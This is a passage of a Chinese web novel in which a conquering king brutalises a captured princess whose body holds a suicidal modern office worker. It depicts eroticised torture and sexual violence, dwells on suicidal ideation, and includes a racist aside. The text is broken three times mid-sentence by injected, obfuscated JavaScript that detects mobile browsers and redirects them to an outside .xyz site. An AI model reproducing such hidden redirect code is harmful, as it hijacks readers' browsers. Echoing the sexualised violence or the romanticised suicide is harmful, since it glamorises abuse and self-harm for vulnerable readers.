《如何阻止她寻死》 1. 国破 柳忆春被一股大力带得伏倒在地,手腕也被突如其来的变故震得痛麻。 铛—— 长剑被箭矢击落在地,大殿之中瞬间安静下来。 片刻后,有人斟酌着开了口: “王上,那老皇帝的头颅已经与一众皇子的脑袋挂在了城墙上,身子剁碎喂狗的事情也安排了下去。不知后宫里那些个妃嫔、公主,如何处置?” 尉迟丰面色肃然,抹了抹溅到脸上的血沫,向被精锐围护在中间的男人请示。 那人身着长甲,身形高挑,站在一众顶尖士兵中也鹤立鸡群,此刻正手执长弓,浑身上下都散发着激战后的暴戾之气。 众人屏息以待。 偏厚的唇瓣往往能给人增添一些踏实敦厚的感觉,可他的唇瓣开合出口却是—— “杀。” “是!” 得了命令的尉迟丰毫不拖泥带水,提起手中大刀就往柳忆春走去,要奉命给这个公主一个痛快。 谁知他还未迈出第二步就被冰冷的声线定在原地。 “除了这个。” 尉迟丰回望,有些错愕,随即得到轻飘飘一个斜眼,那些探究的心思便立马被吓到九霄云外。 “是,属下带人去处理别的宫妃公主!” 尉迟丰溜得比兔子还快,带了些精锐离开,殿内突然变得空空荡荡,陷入死一般的寂静之中。 时值大越朝元威二十八年春,叛臣沈雍打着为民请命的旗号,率军一路北上攻破皇城。 而在五年前,世人无不称赞这位镇国公世子龙章凤姿、文武兼备,是少有的顶尖世家子弟。 没有人知道他是如何在经历阖族流放、族人惨死后,从一介罪人重新掌握兵权、自立淮阳王的。 他们只知道,此后若要活命,恐怕需要匍匐在这个拥有铁血手段的年轻君主脚下了。 此刻殿中执弓者不是别人,正是沈雍。 半晌,军靴与楠木地板相触,发出细微的哒哒声。 沈雍停在柳忆春身前。 举剑自戕倒是决绝,长剑被他一箭射偏后却又瘫在地上毫无动静,就连方才听见皇室被屠时,也无半点反应。 这个公主,是要闹哪样? 殿内一片混乱,显然有人搜刮了财物慌张逃命。 女子侧伏在七倒八横的杂物之中,玲珑曲线一览无余,鬓发散乱,珠钗横落,让人瞧不真切面上神情。 沈雍就着手中长弓将她翻转过来。 一张倾国倾城、摄人心魂的脸,随着滑落的青丝显露出来。 五年未见,她较从前更美,也更冷了。 当年还能从她身上瞧出些温度来,如今这幅雪白无暇的皮囊,却让她看起来不似真人,只像个做工精美的白瓷娃娃。 可谁人能知,这么个看起来不问世事、如冰似雪的人儿,竟会与奸人同流合污,做出那等构陷之事来呢? 只是让他们失望了。 跌入泥潭,他不仅没死,还率大军杀了回来,颠覆了这江山。如今与那老皇帝的恩怨已了,接下来就是这位公主付出代价的时候了。 沈雍凝视着她的脸,肤白如玉、不染纤尘。 这么一张看似无辜的脸,就该染上血、沾上灰才好。 他蹲下身去,用沾满鲜血的手掐住她的下颌,抹了抹,于是她苍白的脸染上了靡艳的红。 沈雍直直望进那双空落落的眼。 “尊贵的懿春公主,半点不打算求饶吗?” 带着讥诮的沙哑低吟在殿中轻旋,掌中那人却毫无反应,甚至连一丝力气也吝啬于施用,脑袋不住的往下沉,全然不顾被越掐越重的细腻脸颊。 沈雍没料到她竟是无动于衷,半点没将他放在眼里,手上的力道不由得加重了些。 可直到下颌开始泛出青紫,她依旧是那副淡淡的模样,沈雍顿时有些恼,一把甩开了她的脸颊,重新捡起那把被他射偏的长剑。 剑尖抵上柳忆春细嫩的脖颈,阴恻恻的声音复又响起,“激怒我,没好处,嗯?” 似是感受到了死亡的气息,躺在地上的女人终于有了些反应,但却不是沈雍设想的那般哭泣求饶,而是—— 轻闭双眼,微微扬起脖颈,甚至唇畔还勾起了一丝微不可查的笑意。 这分明是在有意寻死。 气氛变得更加紧张,无声的暗涌在空气中纠缠碰撞,似在进行一场没有硝烟的对战。 沈雍双眼微眯,掌剑的手不由得用了些力,柳忆春的颈侧瞬间渗出细细血痕。 她却仍是毫无反应,若不是胸膛还在起伏,沈雍简直要以为她已经死了。 没能见到她痛哭求饶的样子,很是遗憾,他执剑的手稍稍松了些,并不想让她就这么便宜地死了。 他要弄脏她、折磨她,看过她绝望无助的样子之后再让她死。 这样才对得起他这些年来堪称惨烈的种种遭遇。 未料,地上的女子似乎察觉到了他的退意,竟卯起一股力直接往剑锋上撞! 浑身血液直涌上大脑,沈雍将剑猛地退开,柳忆春随即扑了个空。 哐当—— 长剑被沈雍丢在角落,殿内回响着阵阵铮鸣。 头脑一阵发凉,他的声音变得更冷,“想死?没那么容易!” 柳忆春再次伏倒在地,像是彻底泄气般瘫在楠木地板上,依旧是半点动静也无。 殿外忽然传来一阵嘈杂的脚步声,是尉迟丰再次率兵进殿。 “启禀王上,后宫已清理干净,不知那些逃走的宫妃公主,可要追杀?” 沈雍将视线从柳忆春身上移开,径直走向殿外,冰冷的嗓音如金玉相撞,“不必。” 尉迟丰缓了口气,后知后觉地察觉到一丝不同寻常。若他没有感觉错,方才他进殿的时候,这里的氛围似乎有些微妙... 随即听见自家王上吩咐:“把地上那个给我绑回军营。” “?” 王上看上的女人,他来绑? 转头一看,沈雍已经快步走了出去,尉迟丰复又看向地上躺着的柳忆春,心里叫苦不迭。 这么个娇滴滴的小公主,怕是轻轻磕一下都会伤着痛着,要他如何绑回去?要是伤着了,王上怪罪,要是冒犯了,王上怕是要降罪。 真是难办! 但他也有自己的做事之道,只见他偏头对自己的副将邹衍使了个眼色,“没听见王上的吩咐? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533777|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 邹衍:“......” 他悄悄往自己的身后看,入目已是一众普通士兵,再往下推就有点不合适了。 于是他只好拱手应声,“卑职遵命!” 走出殿外,血色漫天。 一刻钟前,沈雍料理完老皇帝就快马来到此处——越帝最疼爱的懿春公主居住的昭月殿。 据说此处曾经奇花异木成林,可登高台摘星揽月。 可惜,昔日的皇宫,如今已成一片炼狱。御林军的尸体层层堆叠,逃窜的宫女太监死状各异。 精致宫苑内小心养护的新绿被灰白染血的断手压塌,纯白的宫墙也被泼上了一幅幅触目惊心的血色新画。 庭中一棵巨大的银杏树一边抖擞着刚长出来的新绿,一边漠视着这一切。 沈雍没有停留,快步走到宫道上,飞身上马。 正待出发时,回头一看,却见尉迟丰将人用殿内柔软的长绸稳稳地绑在了马背上,他顿时不悦。 “谁准你让她上马的!” “放下去。” 察觉到沈雍语气中明显的不虞,尉迟丰连忙照做,可还未来得及问具体要如何个“绑法”,沈雍便策马扬鞭,率先向宫外飞驰而去。 尉迟丰提着口气,不敢耽搁,下意识驱马追赶沈雍,毕竟若无军令,他是不能擅离主帅左右的。 然而,如此一来,长绸一端系在马鞍上,一端绑在柳忆春身上,尉迟丰这一扬鞭,直将她拖着往前走。 最初她还能顺着本能迈开腿跑两步,可不多时便没了力气,直接跌倒在地,由着快马将她一路拖行。 三月里正是美好的春日,宫道两侧种了些早樱,粉嫩的花瓣层层叠叠簇在枝头,从仰视的角度看去,西斜日色之下,端得是一幅云蒸霞蔚之貌。 骏马奔驰而过,卷落了阵阵花雨,落英沾上血、又被碾作尘,宫墙边间或出现一两个倒伏的宫人、御林军,让这幅春日良辰奇景染上了不合时宜的死气。 “王上!王上!” 沈雍在前方奔驰,对尉迟丰的呼唤充耳不闻。 “慢些吧!公主她受不住的!” 方才沈雍其实回头看过一眼,见到被拖行的懿春公主并未呵斥他,反而夹着马腹加快了速度。 尉迟丰便知道,王上这是在拿人出气。 可对方再怎么样也是一个娇滴滴的女郎,从小被养在深宫里的公主,如何受得了这些? 众人打马而过的是一条笔直的宫道,直通皇宫西门,道路还算平整干净。 可出了宫之后,那可是一幅激战后的混乱场景,不见得能继续行在兵器横陈、死尸遍野的路上了。 这让被拖行在后侧的公主怎么办? 尉迟丰实在不解,究竟是什么仇什么怨,竟让喜怒不形于色的王上如此苛待这位倾国倾城的公主。 再这么下去,偶然撞上一把刀刃让公主断胳膊断腿也未可知。 更有甚者,当场毙命也不是没有可能。 先前他还觉得那些被杀的宫妃公主很是可怜,可现在看着这位懿春公主的惨状,他突然觉得也许利落地死去反而是好事。 正想着,前方那人策马的速度终于慢了下来。 2. 捅她 沈雍翻身下马,居高临下地看着地上气息微弱的女人,久久没有动作。 她究竟是想活,还是不想活呢? 至今为止,她唯一主动做出过的动作就是往剑刃上撞,是知道下场会惨烈所以想死个痛快罢? 可是寻死失败之后,却又变回一副无知无觉、任人宰割的模样,好似对生死无甚在意。 她真的能对自己毫不在意吗? 沈雍将视线移向城门口,那里侧倒着一辆板车。 “尉迟丰,将她运回军营去。” “是!” 尉迟丰终于松口气,女人嘛,该是拿来疼的,尤其是这种人间绝色。他堂堂男儿只斩敌人,可不想亲手杀掉一个无冤无仇的女人。 还好,王上想通了,将人放板车上慢慢运回去多好呀,放在地上拖可是遭老罪了。 王上还是嘴硬心软的吧。 可回到军营之后发生的一切,却让尉迟丰瞪大了眼睛,恨不得将方才的想法咽回肚子里去。 游骑营是大军中主要负责侦查信息、预防偷袭的组织,行军之时必少不了他们,而两军对战时,游骑营中的兵往往也会加入战斗。 因此,能入此营者,皆是佼佼者。 如今游骑营的营长是陆峰,尉迟丰对这人的能力倒是服气,偏他有个毛病他非常看不惯——无比好色。 王上给军中定下了十二令,半点不可突破,为的是保证士兵的最佳战力。 其中一条便是所过之处不可随意奸.淫.妇女,且军中不设营妓,行军作战之时全军禁色,其余时候则不做约束。 两个月余的战争今日终于以胜利告终,今夜本就是大军庆功行乐之时。 像陆峰这种人,早就憋坏了。 于是他在看到尉迟丰拖回来的板车之上我见犹怜的倾城公主时,眼睛都直了,就连说话都变得大胆起来。 “王上,听说这大越朝的公主个个绝色,怎么就掳了一个回来给我们庆功啊?” 尉迟丰想开口说些什么,可又不好僭越,便立在原地朝沈雍望去。 沈雍翻身下马,将缰绳递给马夫,闻言轻飘飘回头看一眼板车上的柳忆春。 她粉白色的衣裙已被勾得破破烂烂,露出些如凝脂般的肌肤,其上鲜血尘土混杂,无端添上了一丝奇异的凌虐美感。 但如先前一样,这般下流之语入耳,她依旧依然毫无反应,就连动都未动弹一下,依旧是一副眼睛微睁要死不活的模样。 她连女子的贞洁也不在意? 说实话,沈雍被她这幅要杀要剐请君随意的态度弄得有些恼火,心里憋着一口气始终发泄不出来。 他看着她,在给她最后一次求饶的机会,只要她求他,他就救她。 可是几息过去,周遭依然寂静得只有远处的啾啾鸟鸣,沈雍终究收回了目光。 他偏头看向已经有些惶恐的陆峰,“一个,便够了。” 随即,他快步走上主座,“不若多叫些兄弟来,才好看看,这久负盛名的懿春公主,是否真的如传言那般冰肌玉骨。” 得了沈雍的首肯,陆峰顿时乐开了花,快步迈向游骑营,叫上了几个要好的兄弟过来。 美色当前,让他无暇细想,曾经最厌恶女色的沈雍,为何今日会一反常态地坐于高台观赏此等俗事;而那个立下禁止强行奸.淫.妇女军令的主帅,又为何会破天荒地纵容他们一众人等对弱女子施暴。 只有一侧的尉迟丰有些担忧。 “王上,真要如此?” 今日发生的种种,他如何品不出来二人之间的不同寻常? 恐怕自家王上对这懿春公主,在意多于恨意,这才被她的冷淡态度给惹恼了。 可别做出什么不可挽回之事来才好。 可沈雍只淡淡瞥他一眼,身子微微前倾,单手支颐,目光紧紧锁在远方板车上那个玲珑身影。 长直的睫毛在西斜的日光下,于他轮廓分明的脸上洒下大片阴翳,让人不敢逼视。 一阵急促的脚步声传来,陆峰几人已行至跟前将柳忆春团团围住,几乎要将她淹没入黑暗。 破旧的黄木板车,如冰似雪的女人,破碎的粉白衣裙,星星点点的鲜红血迹... 在几缕夕阳残照下,眼前的一幕仿佛化成了一幅隽永的画,与充斥着不怀好意哄笑的军营恍若两个世界。 一时间,竟无人敢率先染指画中人。 眼前的人毫无动静,要不是微微起伏的胸膛,简直让人不敢相信是个活人。 一瞬间的犹豫带来了蔓延而开的安静。 陆峰忽地也感觉到气氛不对,有些不确信地朝首座望去,只见沈雍的脸被斜阳沿着眉骨鼻梁划分成了两半—— 光明处的深眸仿似染血,阴影处的半张脸状若恶魔。 陆峰一个哆嗦,正要伸向柳忆春的手倏地收回,腿一软整个人直接朝沈雍跪了下去。 “王上英武无双,乃盖世英雄也,此等沉鱼落雁之娇贵美人,合该配王上这样的雄主,我等末流之辈,怎敢染指?” 游骑营的众士兵也跟着跪拜。 尉迟丰心里绷着的弦骤然一松,视线收回,悄悄朝沈雍看去。 却见他面色淡淡,眉眼微压,与平日里运筹帷幄的模样无甚分别。 可不知怎的,尉迟丰心里怪怪的,他能感觉到,王上看到陆峰此状也不见得多高兴。 不,也许应该说,王上见到懿春公主依然没什么反应,很不高兴。 也许是因为受害者完全没有反抗的心思让这场施暴索然无味,沈雍终究是抬手遣退了一众人等。 接着,他起身从台上的首座缓缓走下,眼神紧紧攫住破旧板车上的女人,在终于走到她身边时,一把将她拎起来,走进自己的主帐。 被粗暴地扔在冰冷坚硬的地上,柳忆春不自觉蹙了蹙眉。 沈雍周身的气压极低,很快上前掐住她细嫩的脖颈,“从始至终一言不发是何意?难道你真以为这幅粗鄙不堪的躯壳能让我对你手下留情?” 稍稍用力,柳忆春的脸逐渐在他的手中涨红,眼睛也痛苦地睁大,全不复方才那懒散微睁的模样。 这下沈雍看得更清楚了,她的眼里什么都没有,并未对他的话做出半点回应。硬要从中看出些什么的话,似乎是,隐隐的期待? 期待什么,期待他将她掐死吗? 她就这么想死,一点都不屑于向他服软吗?她对当年所做之事,难道就没有半点愧疚吗! 他克制着想要进一步收紧的手,给她留着最后一丝喘息的缝隙。 “说话!” 似乎感觉到他的怒气,掌中的女人竟有了些动作,一双洁白细嫩的手抓上他的大掌。 这双细白小手冷得刺骨,像两块从深渊打捞而上的软玉。 出乎他意料的是,它们并未尝试让他松手,反而握住他横在她颈间的手,让他收得更紧。 意识到她在做什么,沈雍瞬间松开了对她的钳制,柳忆春再次瘫倒在地。 似乎是今日的遭遇已耗尽她的体力,此刻就连空气骤然灌入肺腑时她本能的咳喘都显得格外细弱。 像一只绝望无助却不敢放声大呼的小白羊。 沈雍手掌上的触感未消,下意识握了握,怒气上头,死死盯着眼前的女人。 她的鬓发已完全散落,柔顺黑亮的长发贴着她瘦削的肩膀渐渐滑落,不盈一握的腰肢、挺立的胸脯随着咳嗽起伏在青丝中若隐若现。 背部的衣裙因为先前的拖行破碎得尤其严重,内里的细嫩雪肤和摩擦出的交错血痕也纷纷显露出来。 可怜,又柔美,不禁让人想施加予这副美好的躯体更多血腥点缀。 他真的拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533778|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她毫无办法吗? 沈雍已是怒极,越是愤怒,他的大脑反而陷入了一种诡异的冷静。 不,她既然这么想死,那他就偏不如她意。 死亡威胁不了她,反而让他自己处处掣肘。那么,他便用别的方法来折磨她,他不信,她会永远那副样子,无动于衷。 视线扫过兵器架上的长剑,那是他一贯使用的佩剑,今日他背了长弓,它仍干干净净地被放在架子上。 沈雍将它取下,直接将气都没喘匀的柳忆春翻转过来—— 粉白衣裙被他撕碎,剑柄径直捅进她的腿间。 只一瞬间,柳忆春面如金纸,嘴唇无意识微张,发出无声尖叫。 剧烈的痛楚来袭,她的身体下意识挣扎,却被沈雍轻易化解,细嫩的双腕被他一手圈住按在腹上,连带着将她的身体也固定起来。 沈雍一错不错地看着她痛苦的表情,心里的郁气顺着手上的动作一一消散在女人身上。 血腥味在屋内蔓延,地上的女人冷汗涔涔,泪水止不住地顺着眼角流,连呼吸都不敢大口,像是害怕扯动了传递剧痛的神经。 身体在剧烈的痛苦之下止不住地痉挛,喉间却只能溢出细碎的呻吟。 剧烈的疼痛似乎让她的神志恢复了些清明。 再看向他时,她眼中始终萦绕着的那层雾气消失不见,许是双眸被泪水洗过,此刻看起来明亮如镜,他能从中清楚地看见自己的模样—— 面目狰狞,满是恶意。 手上粘稠温热液体的触感突然变得清晰,沈雍忽地停住动作。 许是清醒了几分,许是他短暂的收手给了她喘气的间隙,柳忆春终于如他所愿开了口。 她气息微弱、有气无力,沈雍只好勉为其难俯下身去,于是独属于娇生惯养的公主的淡淡香气霎时扑鼻而来。 他回了回神,仔细分辨她的微弱气声—— “大哥...捅错地方了吧...这能死吗?” 大哥? 沈雍彻底愣在原地,他是她哪门子大哥?多年不见,这个公主难道脑子坏掉了? 可不待他再问上一句,地上的女人下一刻便双眼紧闭,脑袋重重偏向一侧,就连掌中那双细腕也无力地要朝两侧垂下。 不知死活。 痛苦的喘息闷哼不再,帐中安静得有些令人窒息。 沈雍的大脑一片空白,下意识松开圈住她双腕的手,随即惊觉另一只手还握着剑柄。 右手上黏腻的液体已变得有些冰冷,他的指尖无意识抽搐了一下,终于回神般,一点点将它抽出。 阻力不小。 哐当—— 长剑被扔在一旁,柳忆春身下涌出更多血来。 红色一点点蔓延,她身上仅剩的破碎布料似乎要被这刺眼的红浸透了去。 一向冷静自持的沈雍突然忍不住浑身轻颤,骨节分明的手缓缓朝柳忆春鼻尖探去,竟是停了足足半刻钟才渐渐挪开。 还有气... 他缓缓站立,看向眼前破碎的女人。 她的肤色很白,下颌、颈间的鲜血和青紫显得格外骇人。 粉白衣裙几乎成了碎片,那团只能称之为碎布的衣物沾满了污渍、鲜血,胡乱搭在她身上,堪堪遮住关键部位。 纤细的四肢不可避免地显现出来,大大小小的伤痕错落其上。 只一眼,沈雍便转身离开,可虽然只看了一眼,这幅场景却深深地印在了他的脑海里,久久不散。 开心吗?手刃了仇人,报复了帮凶。 可他脑海里一一闪过惨死的父亲、族人面孔后,最终却又定格在了方才那个画面之上。 天色渐暗,不远处已开始燃烧宴饮的篝火,今日是大军庆功的日子。 火苗跳动在沈雍眼里,他立在原处,忽然觉得右手上的血渍烧得慌。 3. 缝合 柳忆春的脑海里闪过很多画面。 一会儿是高中发烧到三十九度时在父母的劝说下继续回学校上课,一会儿是上班快迟到了但她打不上车只好顶着暴雨赶去地铁站。 学习不缺勤,工作也不缺勤,她一向如此,她一直是个好孩子。 好孩子永远会用心完成老师的作业、领导的任务,乖乖女永远会认真遵守学校的规定、公司的制度。 据说人死之前会走马灯一般回放自己的人生,她的人生大概也就这些了吧。 循规蹈矩,无趣至极。 像是一个人走在长长的隧道里,没有灯,背后与前方都透着一点亮,而连接着出生与死亡之间的,是一条一成不变的漆黑的路。 不过也许还有些有趣的事。 想到明天她没法去上班工作堆积如山时领导的表情,再想到几天后父母撬开满是尸臭的出租屋震惊的样子,她突然有些想笑。 终于,她也可以叛逆一次了,哈哈哈哈。 昨晚是她连续加班到晚上十一点的第八天。 到家时,她的心脏难受得厉害,连带着左半边身子都有些发麻。脑子像被灌满了水泥,如果谁和她说一句话,她定要反应五分钟才能处理完毕对方话里的信息。 这种感觉她很熟悉,是大脑过度使用、精神过度紧绷的后遗症,就像脑子被僵尸吃掉了一样。以往这个样子,她怎么也得像死鱼一样躺个两小时才能缓过来。 可最近项目组要上线一个新功能,没办法,所有人都在一起加班,她没有时间再奢侈地用两个小时来给自己充电,只想快速洗个热水澡赶紧睡觉,明天一早还得继续去公司。 每次工作一忙起来她就会焦虑,焦虑得无法入睡,焦虑得梦里都在工作。 她至今无法分清,究竟是梦外害怕自己完不成任务的焦虑带到了梦里,还是梦里慌张的情绪蔓延到了梦外。 不过她非常清楚的是,这次在严重缺乏睡眠的情况下连续高强度工作了一周多,她明天绝对不能再靠冰美式吊命了。 她需要休息,她需要睡眠。 立刻,马上! 但不幸的是,老天似乎专挑她这个在崩溃边缘的倒霉蛋取乐。 先是如往常一样进门开灯,啪啪啪连按几下都不亮,没办法...这个点了,她没时间等人来修。 背靠墙沉默几秒,她静静地点开手机上的手电筒打算先去卧室拿衣服洗澡。 然而好死不死,她打开衣柜刚刚开始翻找,就被松动的衣柜隔板迎面砸了下来。 咚——咚—— 第一声,是厚重的隔板和杂乱的衣服砸了她一脸。 第二声,是虚脱的社畜应声倒地。 “......” 好累啊,好想就这么躺在地上再也不动。 可额头上似乎有粘稠液体渗出,满脸的衣服也闷得她无法呼吸。 所有的一切都在提醒她,必须尽快采取行动才行。 四周安静得连电流的声音都没有,耳边只有自己快得不正常的心跳,她突然不合时宜地冒出了一个念头—— 要不...就这么静静地死去吧? 这个念头一出,她突然觉得一切都对了,整个人也倏地放松下来。 一条被崩到极致的橡皮筋,就算被放开了也无法再恢复原样,还不如直接断了好。 混沌之中她开始期待,这样躺着不动的话,是会失血过多而死,还是窒息而死呢? 她的人生,没有半点值得留恋的。 她只是一个作品,一个让所有人满意的完美作品。 作品,是没有生命的。 既然无所谓生死,那么她根本就不应该活。 ...... 四处飘荡的思绪突然被身下一阵剧痛拉回,柳忆春耳旁出现了两道模糊的声音。 “诶轻点轻点,这么个白白嫩嫩的小姑娘哪经得住你这么重的手!”嗓音清润,听起来很舒服,就是有些着急。 另一道声音低沉,离她近些,语气中似有不悦,“要么你来?” 清润:“王上的女人,属下怎敢......”明显怂了些。 低沉:“按住她的腿。” 清润:“......”好一会儿才说话,“我还是去找卫大娘来吧。” 四周恢复寂静,她听见一道沉稳的呼吸离她越来越近。 不由分地,一只手轻轻拍了拍她的脸。凉凉的,很舒服。 “醒了?” 柳忆春迷迷糊糊睁开眼,终于被浑身上下的异样彻底拉回现实。 坐在床沿的男人脸臭臭的,有些眼熟,装束有些奇怪,不知道的还以为他在拍古装剧。 哦,不对。 她突然想起来了。 她本来躺在出租屋的地上等死,后来好像莫名其妙被一股力再次带倒在地上,又到了另一个地方继续等死。 而这个人,几次三番要杀她又不杀她的,也不知道究竟想干什么,她还以为可以省点事儿直接迎接死亡了呢。 嘶,柳忆春忽然反应过来,有些无语——为什么她还没死? 身下也好痛,一阵一阵的,像是整个脑子都长在这点痛上面,身体都像是裂成了两半。哦对了,是这个傻大个拿东西捅了她... 没人教过他吗,要杀人得往心口捅,再不济捅肚子啊,哪有捅人下面的? 真是笨。 其实她是有些厌蠢的,但是奈何乖乖女的形象太过深入人心,所以她从未在人前表露出过半分。 两道匆忙的脚步声传来,先前那道清润的声音再次响起,“劳烦卫大娘了。” “范医师客气,分内的事罢了。” 原来那人是个医生,那她身边这个人呢? 对方一直盯着她看,好像还有些嫌弃,现在正逼格十足地撇开眼走向床尾。 脚步声渐近,“参见王上。” “嗯。” 那位大娘二话不说就将她的膝弯往上按住,柳忆春还未来得及品味这声奇怪的“王上”就发现了一个不得了的事情—— 老天,她怎么是这么一个羞耻的姿势! 卫大娘见她挣扎,以为是痛极了,连忙轻声安抚,“夫人莫怕啊,咬牙挺一挺就过去了哦。” 大娘瞧着是个爽朗人,连安慰人的话都是噼里啪啦倒出来的,说完却有些不敢看她,柳忆春从她很快撇开的视线中品出了些心疼与同情。 下一瞬,柳忆春再无暇分心,瞬间被身下针扎的刺痛和丝线拉过皮肉的诡异感觉霸占了所有注意力。 她以前读过一篇文章,某个黑人为主的落后国家有这样一种陋习,为了保证女子的贞洁,会把女人的下面缝起来,让她在每次性.交的时候都痛苦无比,以此杜绝她们红杏出墙的可能性。 她不知道那篇文章是真是假,可她如今显然穿越到了物质条件极其低下的某个朝代,他们该不会......也有这种陋习吧? 唉,算了,她在讲究平等、现代化程度很高的A国都活成了那副鬼样子,也没兴趣在这个落后的、阶级分明的朝代毫无尊严地继续苟活。 他们要干什么就干吧,等他们走了,她找个地方一头撞死就是了。 沈雍一言不发地缝合着,虽极力避免,仍会无意间触碰到她细腻滑嫩的肌肤。 很软,像初初成形的嫩豆腐,碰一下都怕散了。只是美中不足的是,雪肤之上血迹斑斑,凭空为其增添了不少凌虐感,叫人不忍直视。 她应该疼得厉害,身子止不住地颤抖。 可出乎意料的是,这位娇滴滴的公主竟连一声痛呼都不曾爆发,只随着断断续续的呼吸溢出些令人揪心的细碎闷哼,叫人下意识想要怜惜。 他有点想看看她是何表情,可碍于卫大娘隔绝了他的视线,只好埋头继续为她缝合。 桑皮线柔韧细长,是很好的伤口缝合物,他很快缝合完毕,起身将桌案旁的药膏递给卫大娘。 “擦洗干净后,替她抹上。” “是。” 卫大娘松开对柳忆春的钳制,她的双腿得以缓慢放平伸直,手却依然紧紧攥住身下的被褥。 沈雍最后看一眼榻上大口喘息、冷汗涔涔的失神少女,转身离开了主帐。 “诶缝好了?”帐外的男人探头吩咐,“卫大娘,那软红膏是上好的伤药,柳夫人身上别的伤也都能用的。” 不知是哪个词刺激到了沈雍,他倏地转头,危险的视线攫住范卢风。 这个喜欢絮叨的年轻男子正是范卢风,作为当今名满天下的医者,一向有“妙手回春赛华佗,起死人而肉白骨”的美誉,而今窝在沈雍的军中做军医。 这样的顶尖医者,随便到哪里都是当地豪族的座上宾,无人知晓他为何会选择跟着沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533779|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雍这么在战场上来回来去奔波。 寻常人都怕极了沈雍,只因他近年来残暴无情的凶名远扬,无人不怕惹这位玉面阎罗不高兴而丢了小命。 但范卢风不怕他,他们相识多年,他比谁都清楚沈雍原本是个多么敦厚谦逊的性子。 唉,要不是因为五年前那事...... 范卢风的心思转了几个圈,最终笑眯眯迎上了沈雍骇人的目光。 “大越国姓为‘柳’,公主如今又做了你的女人,自然该尊称一句‘柳夫人’嘛。” 当然,范卢风这句“做了他的女人”只是逗逗沈雍而已,他可是为数不多知道他另一个毛病的人。 在沈雍真正发怒之前,他非常熟练地卡住气口继续唠叨:“唉,不是我说,好好一个娇滴滴的姑娘被你弄成了这样,你那气也该消了吧?” 想起方才的惨状,范卢风面色逐渐变得凝重,“依我看啊,公主这破烂身子不养上两月,怕是好不起来的。你若是想她活啊,可得收手了。” 沈雍终是不悦地收回目光,“多嘴。” 范卢风撇撇嘴,这人真是任何时候都一副“我很不高兴”的表情,别人不怕他才怪了。 但他一向不将别人的冷脸放心上,转头就乐呵呵地跟着沈雍往庆功宴主场而去。 ...... 京郊平野之地,沈军今日从京中富庶世家搜刮来不少金银财宝、八珍玉食,此时正燃着篝火宴饮作乐。 军中小卒们轮流聚于桌前,享受难得的珍馐美食。只除了不准饮酒、值守者不能擅自离岗外,所有人都可随意玩乐,但求尽兴。 一时间,军营响起此起彼伏的喧闹声,战胜的兴奋如绵绵的月光一般笼罩着他们。 有人绘声绘色分享自己的神来一箭,有人按捺不住开始坐庄开赌,甚至还有的三三两两相约去城内找乐子。 与普通小卒们不同,沈雍所在的主场正商讨着战后的诸多事宜。 游骑营营长陆峰坐于沈雍右手边第二座次,他晚间差点没收住色心动了王上看上的女人,一直惶惶不安、懊恼不已,此刻恰逢宴饮作乐,他连忙挤出笑脸恭维沈雍。 “王上谋略盖世,文武双全,实乃明主之姿;我军悍勇无比,所向披靡,当世无人能敌,如今越朝气数已尽,王上何不在这京师直接称帝?也好顺了天下万民期盼新主之心呐。” 越朝至今已传十帝,这一代的越帝穷奢极欲、沉湎酒色,还惯爱猜忌。自他御极以来,前朝积弊彻底暴露,乃至民生日渐凋敝,百姓怨愤骤起。 除了自立为淮阳王的异姓王沈雍,另有柳家宗室汝南王、齐王之辈虎视眈眈。 不过出乎世人意料的是,本以为不过尔尔的沈雍,竟有如此多的兵马、如此富裕的粮草,以及无人不惧的行军速度。 竟直接将京师捣破了去。 如今的局势看起来沈雍占了大利,越帝死了,他的皇子也全部被杀,沈雍趁此机会直接在京师称帝也无不可。 但他却有自己的打算—— “不必急于一时。” 沈雍端坐于上座,肩宽背阔,腰背挺直,独属于他的沉稳气场在营内铺开,嗓音低沉有力,让人听见了天然地不敢与它的主人对视。 “先收编完京城的军队,将兵马混编。之后,再‘恭请’百官南下。” 沈雍沉吟片刻,“至于别的,回到洛都再行商讨。” 众人瞬间明白了他的心思——携百官回洛都称帝。 “王上英明!臣等谨遵御令。” 洛都是沈雍的发家地,那里早已被他打理成最顺手的样子,让它成为下一个京师再适合不过。 至于那些不安分的宗室势力,他从未将他们放在眼里。此行攻破京师,他的粮草兵马本就大壮,待他打理好后方,管他什么汝南王长沙王,一个个都只有被他按在脚下打的份。 他要让这一路所过之处,所有军民臣属皆匍匐于脚下。 庆功宴仍在继续,主场内沉重的话题商讨完毕,气氛渐渐变得轻松起来,战胜的轻松喜悦开始蔓延。 沈雍坐在上首,一边进食一边默默听着臣属们你一言我一语逗趣。 就在他准备离开时,有巡逻兵来报,卫大娘着急找他。 